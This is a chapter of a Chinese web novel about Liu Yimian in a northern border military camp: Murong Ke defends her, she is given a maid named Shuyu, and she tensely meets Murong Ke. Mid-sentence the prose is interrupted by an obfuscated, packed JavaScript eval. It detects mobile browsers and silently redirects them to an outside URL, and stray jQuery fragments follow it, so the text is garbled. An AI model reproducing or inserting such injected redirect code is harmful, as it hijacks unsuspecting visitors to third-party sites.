“世人皆有秘密,你有,我亦有,何必逼着旁人剖心问迹。以她和她父亲的功劳,若换不回信任二字,我看这大业不成也罢。”
“且她,对你我二人亦有救命之恩,不是吗?”
慕容恪背身而立,帐外射入的冷光渡在他身上,如他吐出的话一般,锋芒锐利,令人遍体生寒。
即使慕容恪没回头,离戈也仿佛能瞧见他目光凛冽似冰锥,毫不留情往他心里扎。
离戈终是泄了气,软了腔调。
“我……也没真打算怎么着她,不过吓唬吓唬罢了。”
他自然不是那等忘恩负义之辈。
来北境前,离戈和慕容恪便发现自己人中有了狗皇帝派来的奸细,奸细暗中勾结北戎人,欲以十城为代价,里应外合,重挫他们势力。
为防止跟京城交战时背部受敌,慕容恪这才大费周章亲自带兵迎敌,他想要一举打掉北戎至少五十年,乃至百年国运,如此,方无需瞻前顾后。
而这几个月,他们拔出了不少奸细,也拿回了被攻陷的城池。可那北戎人深谙地形,擅长弓马游战,作战经验丰富,实在难缠,拖了许久未能一举反攻。
更令人憋闷的是,他们无法在广袤无垠的草原,准确无误的找到北戎人的老巢,致使战事陷入胶着之态。
离戈和慕容恪也曾亲自领兵去探测地形,期间遭遇了多次刺杀,还遇上过天险和风沙,若非他们穿了金丝软甲且获悉了不少地理常识,怕是难以次次幸免于难。
这些防护措施,多少渊源于柳意绵当初那番诡异的话,显然,她的话虽令人疑惑,却说的极对,他们也都听了进去。
这般说来,她确实可以说是他们二人的救命恩人。
想到这,离戈嚣张的气焰一下子灭了,头顶仿佛被泼了盘冷水,潮湿阴冷,哪哪都不舒服。
目的达到,慕容恪肃冷的面色缓和,大步出了营帐,走了片刻忽的停下步子,回头吩咐了声,“去请柳姑娘过来。”
侍卫首领沈其岸拱手行一礼就要退下,却见主子又摆了摆手。
“罢了,她身子弱过几日再请她来,让她好好歇息。军营行事诸多不便,你再仔细挑个侍女给她使唤。”
“是,属下这便去。”
沈其岸眉心微皱,恭敬退下,慕容恪则独自回了营帐处理公务,沈其岸盯着他的背影直至消失,转头去给柳意绵挑侍女。
这一路上,他心底都在琢磨主子的话,越品越觉着古怪,甚至,他发现‘柳姑娘’三个字一出,周遭沉闷的气压很快就散了。
不知联想到了什么,沈其岸忽然露出大彻大悟的表情,脚步也越来越快,浑身上下透着有力的干劲儿,做事越发仔细认真。
他亲自挑挑选选,直到次日才挑了满意的人选,送去了柳意绵那儿,他态度恭敬又热情,令人招架不住。
柳意绵从开始的震惊到最后实在推脱不了,这才别扭的暂时留下了一名唤作漱玉的少女。
终于完成任务,沈其岸长长松口气,正要拜别离去却被喊住,“还请沈大人稍后片刻。”
柳意绵说了声忙往自己帐内跑,几个呼吸间便出来了。
她手里拿着两个鼓鼓囊囊的油纸袋,不知里边装着什么,“沈大人,这是我亲手做的牛肉干和猪肉干,你拿回去打打牙祭吧。多谢你今日送漱玉过来。”
沈其岸下意识摇头推拒,他什么也没做,无功不受禄。
只是余光瞥见油纸袋中被红辣椒腌入味的肉干,鼻子一吸,香气诱人,手却不受控伸了过去。
他不知多久没吃过家乡的辣子了,很难经禁受住诱惑。
“在下也是得了主上吩咐,听命行事。不过柳姑娘实乃心灵手巧,在下就却之不恭了。”
沈其岸拿了肉干,囫囵说完便红着脸告辞了,生怕遭了对方笑话,却忘了告知柳意绵主上召见一事。
目送男人远去,柳意绵回头瞧见一身丫鬟打扮的漱玉,有些头疼,不知如何安置她。
柳意绵自己在军营就是个尴尬的存在,一时半会都不知道该干嘛,现在又冒出个丫鬟,说是要伺候她,怎么都觉着怪异。
难不成她要在北境军营吃吃喝喝当大小姐?
柳意绵一筹莫展,频频小声叹气,身侧的漱玉似察觉到什么,主动上前说道,“小姐,奴婢在您旁边搭个小帐篷可好?如此也方便您传唤奴婢。”
“好,我们现在就可以去领个帐篷和日常用具过来,你也别唤我小姐了,叫我意绵便可。”
去领帐篷和用具的路上,柳意绵纠结了许久,说道,“漱玉,我并不需要人伺候,我自己什么都可以做,今日一时未找到推脱之法,日后我再开口送你回去可好?”
漱玉皮肤白皙细腻,尚无被风沙侵蚀过的痕迹,她容貌姣好,身段似弱柳扶风,像是被精心养护的闺秀,却被唤来做伺候人的活计,说不定是难以拒绝不得已而为之。
“小姐这是要赶奴婢走吗?可是奴婢做错了什么,亦或是说错了话?奴婢不要帐篷了,奴婢可以宿在您帐外,奴婢不想回去,还请小姐开恩……”
柳意绵原是一番好意,未想漱玉反应如此之大,她话刚出口,漱玉便抬起小鹿般湿漉漉的眸子控诉的看她,晶莹的眼珠儿说掉就掉。
柳意绵还是第一次遇见书里说的水做的美人儿,她心肠一软再软,拿出帕子给她擦眼泪,边擦边小心安慰。
“莫在哭了,我不是这个意思,我只是……罢了,你先留下,日后去留皆随你愿……”
“多谢小姐。”
漱玉感激的握着柳意绵的手,破涕为笑,喜不胜收。
“不过,我还有两个要求。”
“您说,奴婢定一一遵从。”
“其一,不许叫我小姐了,叫我名字,意绵,或阿绵。其二,在我面前不要自称奴婢。”
“阿……不行,不行的,主上会怪我的,我喊你姑娘吧,无人处再唤你名字如何。”
漱玉比柳意绵矮几分,她仰着粉扑扑的小脸,眨巴眼可怜兮兮朝柳意绵撒娇。
她本就哭得梨花带雨,美人含泪更添风情,惹人垂怜,好似一只软软糯糯的小猫儿。
柳意绵被那双大大的杏眼盯得心软软的,便应了她。
她很快就喜欢上了这个女孩子,即使除了名字,她对她一无所知。不过漱玉性子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418849|168932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
单纯,无需她问便将自己身世交代了个干净。
漱玉是个孤儿,她生于北境,却因北戎人袭城放火,失了父母和所有族人,后被镇守北境的慕容恪母族旁支救下,成了养女。
慕容恪母族被陷害降罪时,她因未计入族谱又成了唯一幸免于难之人,之后更是碰巧遇见了慕容恪,为他所救。
再往后的事和其中细节,漱玉没说,柳意绵也没去问,一个平静的说,一个安静的听着。
轻描淡写,寥寥几句,却是漱玉惨淡的前半生。
柳意绵不知她是如何轻松说出这些话的,她唯一能做的是不去触碰这个女孩的伤口。
权当没听见吧。
气氛隐隐有些逼仄,好在很快到了领帐篷的地方,两人领了帐篷,回去便一起搭帐篷,再也没说过那些伤感的事儿。
两个小女孩凑在一处依旧叽叽喳喳,多是柳意绵津津有味听着漱玉说北境的风土人情和新鲜事儿。
不得不说,在全是男子的军营中,多一个同龄女子陪着,柳意绵心上的乌云悄然散了几片。
柳意绵很喜欢漱玉,晚间甚至想拉着她一起同睡一床,彻夜长谈,然而漱玉却委婉拒绝了。
临走前又突然告诉她,慕容恪两日后要见她,吓得她瞌睡虫全跑没了。
是夜,柳意绵心乱糟糟跳着,在床上翻来覆去怎么都睡不着。
她不想见他,怕瞧见那张看过十几年的脸,会压不住翻涌的怒气,想要指着他的眼睛,控诉他。
辗转到深夜,当愤怒的情绪渐渐散去,又担忧到了别处。
离戈在怀疑她,那么慕容恪呢?
漱玉是他的人,是他派来监视她的吗?
她在肃州做的那些事,是否会牵连爹爹和乔乔?
越想越深,柳意绵几乎一夜未眠,凌晨鸡鸣时分终是合上了疲惫的眼帘。
就这样煎熬了两日,沈其岸再次出现在了柳意绵眼前。
他领着她去了慕容恪平日同臣子们议事的营帐,到了门口,他自觉退下。
柳意绵已事先做足了准备,她想尽量低调,不去看他,努力忘却前尘,只将他当做陌生人。
然而事到临头还是踌躇沉闷,最后咬咬牙,一掀帘子,进了营帐内,她微微低头,瞧着谨小慎微,一副老实人姿态,余光一直窥视着周围的一切。
营帐内,除了她,不见一人。
正好奇着,抬头踱了几步,想要探探究竟,下一瞬身后传来脚步声,吓得她一个弹跳跑出几米远。
“可吓着了?”
属于男人修长的手臂兀的出现在柳意绵眼前,似乎想要去扶她。
柳意绵怔愣片刻,回过神来,听着自己聒噪的心跳声,小脸通红,眸光内闪烁着复杂的情绪。
紧张,惊惧,愤怒,还有一丝被抓包的恼羞。
她踉跄着退后,不知踩到什么差点儿跌到了地上。
慌乱中,那只大掌又伸了过来,且离她更近了些,却被她冷不丁一巴掌拍开。
“啪!”
清透的声音在空气中层层炸开,两人都怔住了,目光对上,纷纷瞧见了彼此眼底的震惊。